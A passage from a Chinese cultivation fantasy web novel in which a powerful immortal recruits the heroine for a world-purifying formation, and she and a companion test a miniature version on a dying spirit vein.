“翊麟城的封晓月前辈吧。”岑无月肯定地说,“我看过记载,她是进来回收翊麟城那一队人的遗骸,正好我师姐和这队人一起行动。” “你没有从她手里拿到鹿云渺的那部分?”谢还问。 “晓月前辈没有向我提过,”岑无月摇头, “但翊麟城中有他们的祭坛, 我曾经去祭拜过,看一旁刻字的记载, 所有人都面目全非,根本分不出哪里是谁。” 谢还回想片刻,很肯定地点头:“确实,都死挺难看的。” 这话说完,他脑中才后知后觉地想到,这句话对于鹿云渺师妹的岑无月来说或许不太合适。 但岑无月早已在这个念头闪过的瞬间就接了话:“所以进灵墟只是想亲眼再确认一遍。不过来都来了,我想再去看看暴动中心。” “九条灵脉汇合交接的地方?”谢还问。 “对。”岑无月说,“用我师父的话说,这叫‘景点打卡’。” 能把那个地方当景点的,天下恐怕也只有谢还和岑无月两个人。 谢还兴致勃勃地带着岑无月一路飞过去,理由是:“从空中能看得更全!” 自空中俯瞰,便能一眼将九条狰狞裂出地表、颜色深浅不一的灵脉全部收入视野中。 这九条灵脉碰巧汇聚在一处,而那处陡然呈现出一个看起来无比夸张的深坑,黑得无穷无尽,好像没有底。 岑无月好奇地看着那个洞口:“你进去看过吗?” “你也觉得一看就很有意思,是不是!”谢还说完,有气无力地摆摆手,“我早就进去过了,但里面其实只是一些和灵气差不多的东西而已啦。” 岑无月毫不气馁,继续试想:“那岂不是可以在里面调息?” “不可能,那不是身体能承受的灵气。”谢还比划几下,“普通人可能沾一点就会发疯。” “哦,你已经试过了,”岑无月一猜就准,一点就通,“类似恶念吗?” “很像。”谢还招手引了一点黑气到半空,甩到岑无月眼前,“全是不知道从谁那里来的执念,光是碰到就会被污染,更不要说纳入体内。” 一个敢教,一个敢学。 岑无月真的直接伸手去,用指尖碰了一下黑气。 谢还好奇地凑过去,细看岑无月的表情变化。 然后收获了岑无月一个莫名其妙的回视。 谢还大为震撼:“……就这?” “里面有人的情绪,”岑无月客观描述,“但并不是来自于一个人,而是被碾碎揉在一起。” “因为灵脉是被亿万人的情绪污染的嘛。”谢还下意识答完,又立刻拉回到先前的关注点上,“你碰了那个,一点感觉也没有?” “当然有了,”岑无月道,“但太破碎了,几乎都是一闪而过,哪一块碎片都没留下印象——那里面也是这样吗?” 谢还啊啊嗯嗯很敷衍地应了几声,根本没听进去,而是在想别的事情。 直到脑中灵光一闪,他忽地兴奋起来,用两只手像举猫似的将岑无月举过自己头顶,大声说:“我明白了!” 他维持这个举着岑无月的姿势原地转了三圈才放下,兀自开心得不行。 “——你特殊在和我一样不觉得世上该有无情道和有情道!”谢还眉飞色舞,“我说得对吧?” 被像小动物一样甩了几圈的岑无月倒不生气,也没说对不对,而是笑眯眯道:“但我修无情道诶。” “哎呀,”谢还完全不以为意,“生活所迫嘛,咱们这行论心不论迹。” 他还沉浸在自己终于找到同类、终于明白岑无月为什么就是看着顺眼的快乐之中。 每一个修士,从修炼那一刻开始,就必须要在无情道和有情道之间二选一。 谢还总是觉得很纳闷——为什么非要选?就不能不选吗? 但他的师父总是严厉地斥责:“只有无情道方能飞升,这是唯一的正道!” 前辈们向他解释:“六根清净方能专心修道,无用多余的感情只会令你心神不宁。” 遇见的修士会说:“情有什么用?情能换修为吗?有功夫谈情说爱哭哭啼啼,不如埋头修炼斩情,只有变强才能成为人上人,才能不再受人欺压!” 偶尔救下的有情道修则持相反意见:“人无情如同树无根,无情之物连畜生都不如,只有将情道修到至极方能打破此种禁锢,让世间万物重获自由。你觉得我们可怜,就该去多杀些无情道的人。” 同龄人则更宽容些,会劝解:“实在不行你转有情道?以你的资质,说不定能打破桎梏、照旧飞升呢。” 整个修仙界如今沉迷于无情道,将除了正统无情道的一切打成邪魔外道。 而有情道的那些人,全部目的又似乎只是为了证明无情道是错的。 谢还很快遇见了太上无相真君。 这位几千年来的天下第一人甚至还是主动来找他、为他解答疑惑的。 她带着谢还去看了无数业渊造成的惨剧,最后问他:“情之一字害人害己,不修无情道的人只管自己要快活肆意,但他们可曾在意过自己的恶念散逸天地间,会害死多少无辜的人?灵脉情况越来越差,终有一日会完全失控,届时天下又有几人可活?唯有无情道,才是天下众生唯一的生路。” 谢还被宋观止说服了。 所以他听了宋观止的建议,游走世间,除去那些超出“安全线”的因素。 紫霄州之变发生时,谢还衡量利弊,最后选择以身填了九脉枢纽,好为宋观止争取更多的时间。 “——有个东西钻出来了。”岑无月看着地面惊奇地道,“像个蚕?嗯……有点侮辱蚕了。” 谢还扭头一看,还真是恶念又从枢纽里钻出来了。 他一本正经地做了个介绍的手势,抑扬顿挫给岑无月讲解:“这就是将紫霄州变成灵墟的罪魁祸首,没有也不能说有神智吧,不过几十年来一直在试图逃离灵墟。” “嗯嗯,”岑无月连连点头,很是捧场,“那现在应该怎么办呢?只能靠伟大又乐于牺牲的谢还前辈出手了吗?” 谢还被夸得美滋滋,道:“小角色,我去去就来。” 他把岑无月随手一放,掉头去揍恶念化身。 恶念化身虽然会发出一些带有情绪的声音,但并不能说它是个生物。 它由世间千万人散逸的情绪扭曲凝结而成,总向外跑只是像水往低处流那样的自然规律。 谢还一脚就把钻出几百米的恶念化身踹回枢纽里,又梆梆补了两拳,将它死死堵在里面。 不错,谢还镇压它就这么容易。 但他没法“杀死”它,更没法阻止它“杀死”别人,这才是问题所在。 也正是因此,谢还才会将希望寄托于宋观止的计划。 战斗飞快结束,岑无月走到近前观看:“弄不死吗?” 谢还不情不愿地扭开脸:“这不是能弄死的东西。” 岑无月转头看他,寻求确认:“是‘不能弄死’还是‘弄不死’?” “杀不掉。”谢还气哼哼地抱着手臂,“你见过那些无情道的‘断情’吧?光是杀死一个人身上的一种情绪都那么难,更何况杀死千百万人的情绪?说到底,‘情’就——” “——就没有‘生命’。”岑无月笑眯眯地接过话茬,“没有生命的东西自然无法被杀死,明白了。” 谢还瞅她两眼,突然又心情好了起来,笑嘻嘻地弯腰举起她,大声夸奖:“真厉害,怎么说的跟我想的完全一样?” “但你一直待在这里也不是解决的办法吧。”岑无月凝视着黑洞深处,“外面的灵脉始终在恶化,奚逐云再厉害也总有极限,更何况净庭山当年在这里就人手不够,未来只有更糟。” “那位会解决的啦。”谢还态度随意地说,“说是需要一个道心通明……呃。” 他及时咬住话头,没有说出更多的信息。 但问题是,正在和他谈话的人是岑无月。 是那个脑子过分好用的、根本不需要人把话说完的岑无月。 谢还紧闭嘴唇,瞥一眼岑无月。 过了两息。 再鬼鬼祟祟地瞥一眼。 “道心通明的人能做什么?”思索了片刻的岑无月噗嗤一笑,像是被自己的猜测逗乐了,“总不会是能获得‘杀死’情绪的能力吧。” “……”谢还强颜欢笑,“哈哈。当然不是啦。那怎么可能嘛。小蜘蛛,岑无月,你也不相信这种天方夜谭的,对吧?……对吧??” 第69章 第 69 章 辞青重伤闭关, 星玄度破缚,千嶂夕身死,下一个会飞升的人究竟是谁? 众说纷纭中, 沈叩玉和元悔成了风口浪尖的角色。 沈叩玉万万没想到, 太上无量真君居然主动来找了他。 不过, 她也只是遥遥看他一眼, 点头示意, 便转身离开。 不久后, 沈叩玉又听说真君去见了元悔。 同样也是看一眼便离开, 似乎只是要亲眼确认什么。 —— 宋观止陆续将接下来可能“飞升”的人选见了一遍。 又检查了鼎元峰的激战痕迹:确实没什么岑无月的灵力残留,可见激斗的只有曲燃、苏艺桐、千嶂夕三人。 还搜寻一番曲燃的踪迹:藏得极好,根本找不到人。 辞青更是早就确认过被心魔和叛乱导致重伤,几乎没有翻身再来的机会。 宋观止思来想去,又选择再去一趟鹰州星家。 星玄度仍旧被星家藏在小院之中、不接待访客,但这种规矩只是用来拦一般人的。 而宋观止自然非一般人。 事实上, 在星玄度睁开眼睛的消息传出之后, 宋观止就是第二个来看望他的——她要确认此人究竟还有没有飞升的机会——第一个正是大感惊奇、跑来看热闹的谢还。 宋观止要见星玄度,星家根本拦不住,也没资格拦她。 不过这第二次登门,宋观止并未惊动星家的其他人。 她长驱直入星玄度所在的僻静院落。 那碧眼的青年似有所察地转头看来,辨认出宋观止的瞬间,眼眸里便露出一丝了然。 宋观止不由得感慨:哪怕是破缚的星玄度,也仍然是那个算尽春秋的司辰君。 星家急着抛弃他另捧他人,眼界实在是太窄了。 “真君别来无恙, ”星玄度说着, 伸手示意宋观止落座,“想必又有事要问我。” 宋观止并未坐下, 她只是很言简意赅地问:“我在等的最后一人,是岑无月吗?” 星玄度却没有立刻回答,而是垂下眼眸,那雪色的眼睫盖住了他的眼瞳。 思索片刻后,星玄度才再次抬眼,不紧不慢地问:“真君为何不去亲自向她确认呢?” “向她确认?”宋观止沉吟稍许,道,“你的意思是,她可以是?” 星玄度又想了片刻,才道:“若她愿意。” 宋观止道:“她自然会愿意。” 宋观止不会给岑无月第二个选择。 上一次,宋观止说服了谢还站到自己这边;这一次,她同样也可以说服岑无月。 —— 于是兜兜转转,宋观止最后还是将视线锁定在岑无月身上。 其实一早谢还就说过一句话:他觉得岑无月和他一样是特殊的。 宋观止当时其实就听出了话外之音。 只是她仍要先排除别的可能干扰因素。 毕竟岑无月出世才多久?有那么多天资卓绝的前辈在前,凭什么就轮到她? 亲自一一检阅过所有人选、又从星玄度口中得到确认后,宋观止心中多了许多笃定,才再回头去找岑无月。 岑无月行事向来低调,只有叩天门那一次是例外,因此找她并不容易。 但找奚逐云就简单得多了,谁叫他的身外之身遍布天下,而且都在灵脉、业渊附近活动? 宋观止直截了当地找上奚逐云,向他说明自己的来意。 “真君觉得她会是下一位飞升之人?”奚逐云沉吟片刻,道,“但即便如此,真君也只需静待她飞升之时便可。” “你有所不知,”宋观止道,“其实之前飞升的九人,我都特地提前去看过。错误的飞升者将会给世间带来更大的灾难。” 向来以大局为重的奚逐云露出恍然之色。 只是他想了想后,并未轻易松口,而是挂起礼貌的微笑,道:“若您不介意,我可向她转达您想见面的讯息。” 意思就是得先得到岑无月同意才会说出岑无月的位置了。 宋观止颔首:“无碍。” —— 岑无月爽快地同意见面。 见面的第一句话是问宋观止:“上次的蛋怎么样啦?” 宋观止压根就忘了那颗蛋的存在,岑无月这么一问她才想起来,蛋现在还原模原样地放在储物道具中。 “能孵出来吗?”岑无月好奇道,“我听说孵蛋好难的呢。” “我恐怕不能胜任了,”宋观止避而不谈道,“奚逐云或许对这些更擅长。” 无论从什么角度考虑都是如此。 “好吧,”岑无月一脸遗憾地往嘴里塞着刚炸好的虾条,看宋观止的眼睛亮晶晶的,“那找我是为了什么事啊?” 宋观止原先向岑无月隐瞒身份,是因为担心岑无月会察觉到自己的怀疑、并去毁灭证据。 但查完这许久,宋观止仍是徒劳无功,就实在没有必要再继续坚持隐藏自己是谁。 她道:“先前阻拦了奚逐云向你说明我的身份,如今再介绍一次:我是太上门宋观止,修真界中人都唤我的称号‘太上无量真君’。” 岑无月往嘴里塞虾条的动作停了下来,她眨了两次眼,而后好像才消化完这句话似的“哇”了一声:“您亲自登门、自报姓名,那一定是有非常重要的事情要找我了。” “确实。”宋观止点头,侧身一引,道,“随我去太上门详谈吧。” “啊,”岑无月道,“现在不行,得等会儿。” 宋观止蹙眉:“还有何事?” 岑无月伸手一指,理直气壮:“我的包子还没出笼呢。” 宋观止一时有些想问“包子和修真界安危谁更重要”,但又直觉自己不会想听到这个问题的答案,于是没有开口。 宋观止将自身气息收敛得很好,包子摊老板下意识忽略了与她相关的一切,在新一笼包子出笼后,热情地夹了六个给岑无月,收下她给的十二枚铜板。 岑无月拿了一个包子在手里,剩下的都放进储物戒,这才开开心心对宋观止道:“真君,我们现在可以走啦!” 宋观止实在不明白这些仅是保持凡人能量的食物究竟有什么特别的魅力,能叫岑无月十年如一日地四处寻找、享用。 但或许,拥有特殊才能的人也都会拥有一些特殊的怪癖。 宋观止早已学会了包容。 她略一颔首,取出法器,对岑无月道:“再靠近些,我传送回去。” 这法器只能传送三步范围内的人。 咬着包子的岑无月很听话,“嗯”一声便三两步上前,一下就很亲密地贴在宋观止手臂边上了,一边还很热情地问:“真君吃包子吗?可好吃啦,谢还都夸过呢。” 宋观止:“……” 宋观止:“…………” 宋观止无心其他,只是满脑子思考岑无月为什么要靠那么近,除了偷袭还想干什么。 岑无月满是疑惑地扭头看宋观止。 那张无辜的脸上几乎是明着写上三个大字“怎么了?”。 “………………”宋观止无声地轻吸一口气,启动法器,携带岑无月一道回到了太上门。 太上门位于雪山之巅,是世间最高的地方,凡人几乎不可能登到此处,哪怕修士也是非请勿入。 太上门的弟子人数不多,平日也不常在外界高调行走,因此太上门冷清得几乎和雪山融为一体,冰天雪地、不近人情。 初来此地的修士往往都会露出惊叹之色。 而陡然进入狂风暴雪的环境中,岑无月的第一反应居然是狼吞虎咽地把还有热气的包子三两下塞进嘴里。 这导致她一时之间只能咀嚼、而说不出话来了。 宋观止沉默片刻,示意岑无月向四周看:“这是广场。” 岑无月一边鼓动着腮帮子努力咀嚼,一边连连点头示意自己在听:“嗯嗯嗯嗯。” “去另一个地方说话吧,”宋观止道,“不可叫其他人听见。” —— 宋观止有一面水幕。 说是“水”幕,但其实并不由水组成,只是当显现出画面时,如水一般波光粼粼、轻轻波动。 这幕足有二人高,只要宋观止动用神念去专心致志地想一个人,便能看到那人现在正在做什么。 宋观止将岑无月带到这水幕前,并不急着将其启动,而是问:“曲燃是你的大师兄?” 原本正在好奇打量水幕的岑无月转过头来,一双黑亮的杏眼瞪得滚圆。 “从苏艺桐很容易便能推出你们是同门的关系,”宋观止淡淡道,“这并不是秘密。” 岑无月终于把嘴里的东西都咽下去了,她双手一合,笑眯眯道:“但如果让人知道我大师兄是有名的魔修,大家就会对我先入为主了嘛,这可不太好,所以我一直保密啦。” 这也就是承认的意思了。 倒很诚实。 宋观止示意岑无月看水幕:“这法器是我亲手炼制,能找到任何人的踪迹。” “噢~”岑无月很捧场地问,“莫非连死人也可以吗?” 宋观止:“……” “啊,不能吗?那也已经很厉害了!”岑无月善解人意地说,“怎么了,真君有事要找我大师兄吗?” “曲燃?非也。”宋观止不动声色地说。 她确实是无法在水幕中找到曲燃的踪影。 不过这也不难想:曲燃肯定是回了他和岑无月共同的师门,那个苏艺桐绞尽脑汁也找不到的地方。 只是宋观止没料想到真有这么隐蔽。 若岑无月也回到师门,恐怕是再也找不到她了。 “我可用此物替你寻找你师兄与师姐的下落,”宋观止顿了顿,补充,“另外,还可助你飞升。” 岑无月诧异地睁大眼睛,随即行礼道:“多谢真君!” 完全不问为什么,俨然视道完谢就直接笑纳了。 宋观止沉默片刻,继续往下说:“在那之前,能否先听我说一些从前的事?” 第70章 第 70 章 “灵气与修士息息相关。因此灵脉的污染开始时, 许多人都很快注意到了。”宋观止一边将自己沉入过于久远的记忆,边慢慢地向岑无月讲述,“不过最初, 大家都以为那是有人刻意污染, 一直在追查幕后的黑手。” 说到这里, 宋观止微顿, 朝岑无月看一眼, 确认她是不是在听。 坐在桌子对面的岑无月双手托腮, 一脸认真听讲的模样, 眼神亮亮的:“然后呢,你们是什么时候反应过来的?” ……真是个好听众。 宋观止垂眸望向自己的手掌,口中回答了岑无月的问题:“直到第一次灵脉真正暴动,直到有人死去,我们才意识到幕后黑手就是我们自己、是这世间的所有人。” “但你成功阻止了暴动,对吧?”岑无月自豪地说, “我听过这个故事。” 宋观止只是轻轻摇头, 并不喜悦或者自满:“我只是短暂地使其平息了片刻,之后,它很快卷土重来。在同业渊斗争的过程中,很多本不必死去的人都选择了牺牲。” 岑无月歪头看着她。 “很快,我便意识到一件事:修真界必须做出改变,否则我们终将和灵脉一同灭亡,这是天道的警示。”宋观止冷静地说,“此后, 我便创了太上门, 转修无情道,也号召天下众人与我一起。起初并不顺利, 但后来越来越多的人醒悟过来并认同我的看法,经过了几千年,才能像现今这样,勉强维持住局面。” 岑无月的脑袋不知道什么时候又正了回来,下巴尖嵌在两边的掌根中间,看起来很是乖巧。 她只是笑眯眯地听,倒是一言不发。 宋观止稍稍整理思绪,接着向下说:“但只‘勉强’并不够,这点想必你也已经看出来了。修士比起凡人来,终究是少数。即使我真能让所有修士都断情绝爱,凡人的情绪却始终很难被严格管制。” 岑无月突发奇想地问:“那是不是多杀掉一些就可以了?” 宋观止不由得看了她一眼,解释道:“不行,这不是人数的问题。凡人心灵脆弱,杀得越多,剩下的就越会生出恐惧绝望愤怒。” “也是哦,”岑无月点头赞成,又好奇地问,“那真君的办法是?” “我用千年的时间设了一阵法,”宋观止盯着岑无月,“有修为心境足够的三人入内、同时运转灵力,便能成功将其启动。” “嗯嗯,启动之后呢?” “它能扫荡、清理全世间的浊气。”宋观止笃定地说,“完成后,它笼罩的所有地方都将不会再产生恶念,灵脉也自然不会受到污染,这样天下也将得以安稳太平,无论仙凡都不必再活在业障的威胁下。” 岑无月大感兴趣,脱口而出的下一个问题是:“这么厉害的阵法叫什么名字呢?” “……”宋观止说,“还没取。” 岑无月立刻高高举手,雀跃无比地问:“我刚刚想了一个,就叫作天上地下清心寡欲阵!怎么样?” “不好听。”宋观止否决,“况且这也不重要,重要的是此前我只找到了谢还作为第二人,始终缺少一人,直到我发现你。” 岑无月指着自己,很是纳闷:“我吗?我何德何能与天下最强的二位并列?” “你可以藏锋,”宋观止道,“但我曾经亲自到近处观察过过去将要飞升的全部人,我能判断一个人距离飞升还有多远。” 宋观止做过这件事情二十余次,对此的判断早已经是熟能生巧。 岑无月的心境离飞升并不远,只是她目前没有将这件事排在心中的第一位。 换句话说,岑无月若想要飞升,并以此为目的动用全力,花不了太久便能抵达那道门槛。 而岑无月会放在心中第一位的事情,宋观止推测便是尚未找到的沈述与鹿云渺。 因此,宋观止将“用水幕寻找沈述与鹿云渺”这一条件放上了与岑无月谈判的天秤。 岑无月连连摆手,笑道:“我可不是二位的对手——啊,应该说,我不是二位中任何一位的对手。” 宋观止凝视她一眼,才道:“现在的你确实不行。但就像刚才我提议的那样,若你愿意为天下人作这第三人,我会全力助你飞升。” 岑无月认真想了一会儿,问:“阵法完成后,阵中的三人会如何呢?” 到底是问了。 说实话,正常人都该问。 若是岑无月不问,宋观止就要怀疑她是不是心怀叵测了。 “修为定是要折损的,受多重的伤也无法判断,这我都不瞒你。”宋观止道,“但这等大难若是不死,此后必有后福,对修炼百利而无一弊,重新飞升也是轻而易举之事。” 岑无月数着手指:“所以,第一,很可能会死。” “对。” “第二,其实就算我不入天上地下清心寡欲阵,靠自己的力量会飞升;入天上地下清心寡欲阵弄个半死不活,出来之后最多也还是飞升。” “我不会用这个阵名,但你说得没错,这于你并没有什么特别的好处。” 两人大眼瞪小眼。 宋观止道:“我说了,这个人选很难挑。你以为为什么这几千年来我只找到一个?不仅仅是修为要触到飞升门槛,还要有一颗能为天下付出的心。” “哇,”岑无月赞叹道,“还好我已经夸过谢还伟大又乐于牺牲了。” “不必妄自菲薄。”宋观止摇头,“我已问过许多人、看过你的行事,你也是善良之人,不仅乐于助人,对凡人也抱有一视同仁的怜悯之心,与绝大多数修士都不同。我相信你,才会向你提出这次的邀请。” 岑无月似乎被夸得有些不好意思:“您真是谬赞了,我并没有那么好。” “我的提议皆已说完,”宋观止说,“你可以尽管考虑,也可以和谢还商讨。时间虽然紧,但也不急几个月的时间。” 岑无月倒是没想太久,很快问道:“在我决定之前,真君可否先满足我两个要求?” 宋观止不置可否:“你说。” 岑无月竖起一根手指:“其一是,我可否先试用水幕?当然,我尚未答应您的条件,所以试用不用来找我师兄师姐,我只是想试试水幕的效果。” 宋观止只短暂思考就答应了:“我可让你试用三次,但这三次的人选,都要先经过我的同意。” 这就相当于借用水幕了。 其实也陆陆续续有不少人来太上门借用过,于宋观止而言只是举手之劳。 宋观止不介意用这点举手之劳来换岑无月的好感与信任。 “那第二条是,”岑无月又竖起第二根手指,“这天上地下清心寡欲阵的效果究竟如何,您为何笃定它能成功、能覆盖全天下?这些您说了不算,我还需要亲自确认。若是阵法功效不够、最后失败,那一切岂不都没有意义?” 这第二条就有些难办了。 宋观止沉吟许久,才想出一个解决办法:“此阵的大小你难以想象,且一旦启动就无法停下,不能让你轻试。但我知道原理,可以做一微型阵盘,将功效减弱的阵法刻于其上,你可用阵盘去任何地方测试我说的效果,直到你相信为止。” “只做一个吗?”岑无月眨巴着无辜水润的双眼,“不如也给我三个吧?只一个的话,我毛手毛脚的可能一不小心就弄坏了,那可怎么办?” 宋观止:“……好,就三个,但我不会给它取那个名字。” “哎,不要紧!您取您的,我叫我的。” “……” —— 制作阵盘需要时间,水幕却只需要宋观止的灵力。 宋观止决定先满足岑无月的第一个要求。 “让我想想,”岑无月仰头盯着水幕,漫无目的地思考片刻后,眼睛一亮,“辞青城主一直在闭关未出,玄枢城的大家都很操心,但谁也不敢闯入千机房中,不知水幕能否看到她现在状况如何?” 自然是可以。 宋观止将灵力打入水幕,幕中很快便出现了辞青的身影。 岑无月走近几步皱着眉细看,半晌才不甘心地道:“可是这样也看不清疗伤到什么程度啊?” 九成九疗不好的程度,因为那是心魔。 宋观止这么想,但并未出声。 岑无月叹着气走回来,想了半晌又道:“我之前碰到过一个人,不知道她现在怎么样了!——啊,不过她是凡人,水幕能找得到吗?” “可以。”宋观止道。 岑无月眉开眼笑:“她叫方绝简。” 宋观止又弹指送出第二股灵力,水幕上的画面被击散出一圈圈涟漪,等平静下来时,便呈现出了不同的画面。 幕中的凡人正在与人比剑,身上血淋淋的,显然落了下风。 毕竟只是个凡人,竟然与修士比剑。不过至少还算谨慎,找的是个修为低微的。 宋观止对那平平无奇的剑招并没有兴趣,但岑无月看得很认真,情到深处甚至还用手比划,好像恨不得去帮那凡人一把。 岑无月盯着水幕看,而宋观止在岑无月背后看了她许久。 直到画面中的凡人险胜一招,岑无月才长舒一口气,抚着自己的胸口回过头来,笑眯眯道:“吓死我了!” 宋观止面无表情:“你还有一次机会。” “是哦。”岑无月思来想去,很是苦恼的样子,“要不然就看看净庭山的一位师姐吧?我去净庭山小住时,受了她许多关照呢。” 这一次,宋观止没有立刻送出灵力,而是问:“你确定?她们此时必然都在净庭山,不需要水幕也该知道。” 理由当然并不是这个。 而是宋观止知道无论岑无月接下来要吐出谁的名字,那都是已经死去、只剩拟态的魂偶。 岑无月到底是被奚逐云骗了。 “嗯!”已经做下决定的岑无月倒是一下变得非常干脆,“我只是想试试水幕的效果嘛,又不是要特地占您的便宜。” 宋观止便根据岑无月说出的名字,第三次调整了水幕。 如同仙境的净庭山出现在水幕中,几个净庭山弟子在一道边走边说笑。 岑无月看得起劲,一会儿高兴地说这个脸上的黑色变少了,一会儿纳闷地问那个怎么一点变化也没有。 还真把净庭山上那群假人认了个全。 可惜,若是岑无月早出山几十几百年,这些人或许确实全都不用死。 宋观止想。 随着这些净庭山弟子的走动,移动的幕中画面里,奚逐云出现了。 他和这些魂偶交谈几句,而后突然转头看向水幕这端,微微点头示意。 岑无月“啊”了一声,诧异地回头问宋观止:“他发现了?” “有我的灵力,自然有被发现的可能。”宋观止道,“天下也只有几人能察觉到罢了。” 岑无月眨眨眼,突地举手发出充满好奇心的请求:“真君真君,可不可以用来看我一次?就现在!” 宋观止冷淡地否决:“只有三次。”【你现在阅读的是 】 70-80 第71章 第 71 章 听岑无月说宋观止给她做了微型阵盘玩, 谢还大感惊奇,派身外之身连夜赶来找岑无月看热闹。 “不是用来玩,是测试效果。”岑无月一本正经地说着, 警惕地把手里的阵盘塞进储物戒里, 不让谢还碰。 “好好好, 测试, ”谢还毫不在意地点头, “打算怎么试?” “坐忘阵、清心丹、断情割情, 这些都可以起到类似的效果, 但只能管一时而不是一世,”岑无月有理有据地说,“这天上地下清心寡欲阵想要成功,定要能完全净化灵脉才行。若做不到这点,那真君的计划也只是一场空谈。” 听见这个阵名,谢还忍不住问:“天上地下清心寡欲阵——你取的?” “对啊!”岑无月很遗憾地叹气, “真君不同意哦。不过她不同意不妨碍我继续这么叫。” 谢还觉得没问题, 他决定也跟着这么叫。 岑无月又接着之前的话题说下去:“所以,我现在准备找一条灵脉做测试。” 谢还比划自己的手掌——他刚才瞥见那阵盘就这么大——然后道:“就这个大小可没法净化一整条灵脉。” “当然不是一整条了。”岑无月疑惑地看他一眼,“我只需要暂时将灵脉中的一小节截断出来即可。” 为了看到新鲜的热闹,谢还立刻自告奋勇:“我来截!” 岑无月一点不跟他客气:“好,那我们这就出发,我已经定了一条半死不活的灵脉。” 谢还美滋滋地跟着走了一段,后知后觉地反应过来了:“你特地通知我,就是为了骗我来给你打下手当苦力的吧?” 岑无月诧异地看他:“这还需要骗你吗?我就算直白地告诉你, 你难道不是一样兴冲冲地跑过来?” 谢还想了想, 深以为然:“你说得对,这么好玩的事情我怎么能不参加呢。” —— 岑无月选定的是一条灵脉的末端。 这条灵脉虽然被污染得并不严重, 但其原因是它几近干涸,周围的灵气相当稀薄。 附近只有几个村庄、两个不大不小的门派。 此处本身已经位于灵脉的一端,谢还只需要截断一处,让灵脉暂时堵塞,使得一小段灵脉内的灵气保持停滞状态,岑无月便能使用阵盘进行试验。 只不过完成截断的工作后,谢还等了又等,始终没有察觉到那一节灵气的变化,忍不住又跑回末端去看岑无月的情况。 岑无月正盘腿坐在石头上捣鼓阵盘,听见他来了,抬头灿烂一笑,丝毫不尴尬:“我忘记问真君应该怎么用啦!” 谢还好胜心顿起:“让我试试。” 一个毫不愧疚,一个毫不生气。 岑无月这次没有推辞,将阵盘向他手边递出,又在石头上挪挪,腾出一个位置给他。 谢还大大方方挤上这块并不宽敞的石头,接过阵盘,正反都看了一眼。 岑无月好奇地凑过来和他一起看:“你当了‘入阵第二人’很多年,应该见过天上地下清心寡欲阵,知道怎么用吧?” “没见过,不在乎。”谢还的注意力集中在阵盘上,很随口地答道。 “哦,”岑无月道,“这么一说,你知道的部分可能还没有我这个‘入阵第三人’多?” 谢还的动作一顿,有点想反驳但又没话可说。 他答应宋观止加入这个计划时,确实并没有思考太多。 “不过嘛,你确实就是这种人,”岑无月又笑眯眯地说,“直觉很灵,所以你也很相信自己的直觉。” “那是自然。”谢还骄傲地轻哼一声,手上已经“咔嚓”一声启动了阵盘,“很简单嘛。” 阵盘运转发出的光芒照亮了两个人的脸。 他们这才同时发现自己似乎忘了什么事情。 “……” “……” 岑无月噌地跳起——头顶直接撞在谢还下巴上——又劈手抢过阵盘,大喊:“你快去截断灵气啊!” 谢还以最快的速度掠到刚才的地方,一记斩击劈下去,情急之下用力过猛,险些把半死不活的灵脉完全切断,好在最后关头收回一半力。 片刻后,谢还发觉周围的灵气产生了细微的变化。 很难用言语来形容这种变化。 只是天似乎变得蓝了一些,空气似乎也变得清新了一些,就连虫鸣似乎都变得悦耳了。 他若有所思地感受着天地之间的前后不同,心头浮出一丝明悟。 不过这种转化只是暂时的。 大约半个时辰后,一切都变了回去。 谢还也觉得自己的感知仿佛都被蒙上一层灰蒙蒙的雾,令他有些怀念方才短暂的清明。 岑无月拿着失效破碎的阵盘过来了,眼睛亮晶晶的,好似发现了什么有趣的东西:“好神奇哦。” “确实。”谢还收回强横堵在灵脉半道中的灵力,让那些被拦截了半个时辰的灵气重新恢复流动,“原来从前没有被污染过的修真界是那样的。” 一直行走在被污染后的世间,他倒已经习惯了这种浑浊。 岑无月站在他身旁,盯着那些缓缓流动的灰蓝色灵气看,没有说话。 谢还又手痒了,他用指尖点点岑无月的头顶,没用力戳:“想什么?” “在想……”岑无月慢吞吞地说,“真君能设计出这个阵法真的很厉害。” “是吗?”谢还道,“我刚才可是一下就解开了。” 岑无月乐了,她回头把手中的阵盘碎片都塞给他:“那是因为真君好心地留了一个最简单的开关给我,能找到开关并不代表了解天上地下清心寡欲阵是什么构造。” 谢还不服输地研究手中残阵,用指尖拨来拨去,试图搞清楚每一颗面目全非的碎片原先都起到什么用途。 确实搞不懂。 术业有专攻,这很正常。 谢还耍赖地用双手把这些碎片在掌心里碾成粉末,很是信任地说:“有真君一个人懂就行了,我们只需要做好分给自己那份任务。她都想了几千年,肯定不会有纰漏。” 岑无月很是赞同地点头:“真君确实是做大事的人。” “——测试完了,接下来做什么?”谢还问。 岑无月叉腰仰头想了会儿,问道:“当年真君来找你合作时,都是怎么劝你的?” 谢还道:“她没怎么劝我啊,我一听是拯救苍生,二话不说就同意了!” “哦,”岑无月礼貌性地扭开了脸,“这么省事。” 谢还:“……” 这么一想,宋观止给岑无月是又借水幕又做阵盘,还要主动以最快速度、不惜代价地将她推到飞升,相比之下他的待遇是差得有些多了。 岑无月像是高价买的,谢还像是免费送的。 于是,谢还花了一刻钟时间,绘声绘色地向岑无月描述自己当年并不是那么容易就被说服的过程。 “……到这时候,已经过去十三天了,”最后,谢还一脸严肃地抛出他认为最震撼人心的部分,“所以,真君事实上花了很久来说服我放弃飞升。” 岑无月脸有些惊讶地盯着他看:“果然如同传闻中那样,你和真君都随时可以飞升,只是刻意压制?” “不错,”谢还自得地一扬下巴,“真君说,我的实力太强,一旦飞升突破,会对此间造成难以估量的危害。” “什么危害?”岑无月好奇地追问。 “……”并没有岑无月这么好奇、所以也并不知道答案的谢还一脸深沉地说,“各种危害。” 岑无月的眼神逐渐变得怀疑。 谢还立刻转换话题:“更何况,真君的计划需要我这样的人加入,此乃两全之策。” 岑无月道:“可是在你之后还有人成功飞升吧?” “有是有,但肯定是实力很一般,因此危害不大。”谢还强调道,“你和我能被选中,证明你我才是特殊的,飞升的那些不过是平平无奇的天才而已啦。” “那你有没有想过,或许自己会死在天上地下清心寡欲阵里?”岑无月问。 “不可能。”谢还不假思索地道。 岑无月笑着打趣他:“答得这么快,这也是直觉?” “总之就是不可能。”谢还仔细想了想,“我预感可能会有危险,但绝不到杀死我的地步。” “真好,”岑无月露出羡慕的表情,“我也想有这种直觉。” 谢还笑嘻嘻地戳她的额头:“这是天生的,你尽管嫉妒吧。” 两人正说着话,岑无月收到一封传讯。 她垂眸细听,而谢还一眼便认出了封家的灵力流动。 待岑无月听完,他问:“要去翊麟城?” 